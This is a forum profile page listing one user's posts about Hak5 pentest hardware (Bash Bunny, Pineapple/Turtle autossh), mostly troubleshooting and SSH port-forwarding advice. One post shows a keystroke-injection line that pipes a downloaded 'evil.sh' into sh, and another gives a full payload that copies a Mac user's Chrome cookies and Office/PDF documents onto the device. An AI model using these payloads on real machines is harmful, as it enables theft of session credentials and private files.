Jump to content

audibleblink

Active Members
  • Posts

    93
  • Joined

  • Last visited

  • Days Won

    6

Posts posted by audibleblink

  1. For future readers: I was using python's SimpleHTTPServer to try to serve the local directory. Even when binding the USB's network interface with $HOST_IP, it would still make that request and wait 15 seconds before continuing on. The answer for me was to disallow outgoing requests. This is the code that made the webserver start instantly.

    iptables -A OUTPUT -p udp --dport 53 -j DROP
    python -m SimpleHTTPServer 80

     

    • Upvote 1
  2. 5 minutes ago, Torrey said:

    I replied to your issue on github before I realized you had a thread here too. The server is up for me in under 1 second and I made a quick video capture. The only difference that comes to mind is that when I got ICS working on Mac I updated the installed packages on the BB.

    Oh thanks man! I guess it's me then. I'm using linux. I can't think of a reason why I wouldn't see the delay in serial. Are you using ECM too? I think I'll try RNDIS just to see if anything changes.

    edit: nope. same delay with rndis_ethernet

  3. If I code something like this

     

    LED R
    python -m SimpleHTTPServer
    
    QUACK GUI space
    Q ENTER
    Q STRING terminal
    Q ENTER
    Q STRING curl $HOST_IP/evil.sh \| sh

    (with appropriate delays) it fails because the server takes 15 seconds to start anyway. I don't think it has anything to do with ssh.

    I was just logged in through ssh to develop the payload

     

  4. Has anyone else tried to bind a socket on their BB using something like netcat or python -m SimpleHTTPServer.

    When connected to the BB through ssh (ecm_ethernet), commands that bind sockets take ~15 seconds to exectue

    When connected through serial, everything acts as normal.

    I made a github issue about it, but wasn't sure if that's the right place since that repo is for payloads - https://github.com/hak5/bashbunny-payloads/issues/57

  5. I'm wondering if the /tools/ducky.py (which is called by QUACK) is running in a subshell. If the QUACK commands run async, then the script is running in its entirety before ever finishing the HID section of the payload.

    Just a hypothesis, this is where my bash knowledge reaches its limits.

  6. Submitted a PR to fix in mainline. - https://github.com/hak5/bashbunny-payloads/issues/51

    Basic changes:

      - fixes lootdir path
      - dont capitalize var names that aren't exported
      - indentation
      - escape shell characters that are passed to QUACK
      - account for variable copy times by joining cp and exit commands
      - sync the disk

     

    LED G R
    ATTACKMODE HID STORAGE
    
    lootdir=loot/MacLoot
    mkdir -p /root/udisk/$LOOTDIR
    
    QUACK GUI SPACE
    QUACK DELAY 1000
    QUACK STRING terminal
    QUACK ENTER
    QUACK DELAY 5000
    QUACK STRING mkdir -p /Volumes/BashBunny/$lootdir/xlsx
    QUACK ENTER
    QUACK DELAY 500
    QUACK STRING cat \~/Library/Application\\ Support/Google/Chrome/Default/Cookies \> /Volumes/BashBunny/$lootdir/chromecookies.db
    QUACK ENTER
    QUACK DELAY 1000
    QUACK STRING cp \~/Documents/{*.xlsx,*.xls,*.pdf} /Volumes/BashBunny/$lootdir/xlsx/\; killall Terminal
    QUACK ENTER
    
    # Sync filesystem
    sync
    
    # Green LED for finished
    LED G

     

  7. gatetime is how long the connection should be active before autossh considers the connection 'good'. 0 disables this feature

    poll is how long in second autossh should wait before trying again after failing to connect

    monitor port is the port that autossh uses to create a tunnel to the host to periodically check on the health of the connection

     

    re: not connecting the turtle with the ethernet cable attached... you need to let the turtle boot first before connecting the ethernet cable

  8. Shouldn't matter regardless but `autossh` runs with the "-N -T" flags so the banner code might not even get called

    -T      Disable pseudo-tty allocation.
    -N      Do not execute a remote command.  This is useful for just forwarding ports (protocol version 2 only).
    
    • Upvote 1
  9. Well known issue. My S4 didn't work either. IIRC it has something to do with different implementations of tethering. It might actually be working and it's just the app just doesn't let you continue.

    If you connect over wifi and `ifconfig` the eth0 adapter, you should get the IP of the nano and then be able to type that in to the phone browser's URL bar.

    I just sold the S4 and went with a Nexus 5 from warehousedeal.com for $100.

  10. Thank you, adding this to rc.local let it run at boot. (The module doesn't allow you to change the "command to run" itself without editing the .js)

    For future readers, That box is there just so people would know what gets run. (or so they can copy/paste/modify and place it in their rc.local ) I should make that clearer in the next release. In any case, the module doesn't actually run what's in the box. That would be a huge security concern without also implementing crazy amounts of input sanitization (or ssl).

    Also, be sure to disable 'run on boot' if you've pasted your desired command into rc.local, otherwise init.d will still try to run autossh with the settings in /etc/config/autossh.

  11. If you want access to the GUI from the Windows machine, I would suggest binding the Pineapple's 1471 to Window's localhost. Configure PuTTY to run the following:

    ssh -L 8080:localhost:1471 root@B -p 2222

    Then on your windows machine, access localhost:8080.

    Some Benefits here over making the Pineapple's 1471 bind to B's 8080 with the -R flag:

    - Your interface isn't open and free on the Internet

    - Traffic is encrypted "end-to-end". v1.0.5 doesn't have SSL yet

    Glad you got it working!

  12. As it stands, the module only creates one remote forward from a relay (Computer B) back to the Pineapple's (Computer A) local SSH port.

    Once you access the Pineapple (A) from a different remote machine ©, you can create forwards as you need them; like a web GUI forward.

    From machine ©, run:

    # this assumes you've enabled GatewayForwarding on your Relay(B)
    ssh -L 1471:localhost:1471 root@<pineapple_ip> -p <remote_forwarded_port>
    

    Now on ©, you can browse 'localhost:1471' to get the GUI. When you're done managing the Pineapple (A), you can close that connection since you won't be using it.

    I'm not sure I like the idea of making it easier to forward more ports than necessary. You only really need the one, since from the one, you can spawn many. That said, you're not the first to ask for this. The module has a 'command will run' section that shows you what the module will end up running. You're perfectly free to copy that command, add the forwards you want, and then place that command in /etc/rc.local. This will autostart autossh on boot with your configuration. You could even delete the module at that point.

    A command with multiple forwards would look something like this

    autossh -M 20000 -i /root/.ssh/id_rsa.autossh -N -T -R 2222:localhost:22 -R 1471:localhost:1471 root@relayserver.com -p 22
    

    Be sure to background the command with an '&' if you end up putting in /etc/rc.local.

    Thanks for the feedback. It's something I've really considered, but ultimately decided against for various reasons, excluding my paranoia. =P

×
×
  • Create New...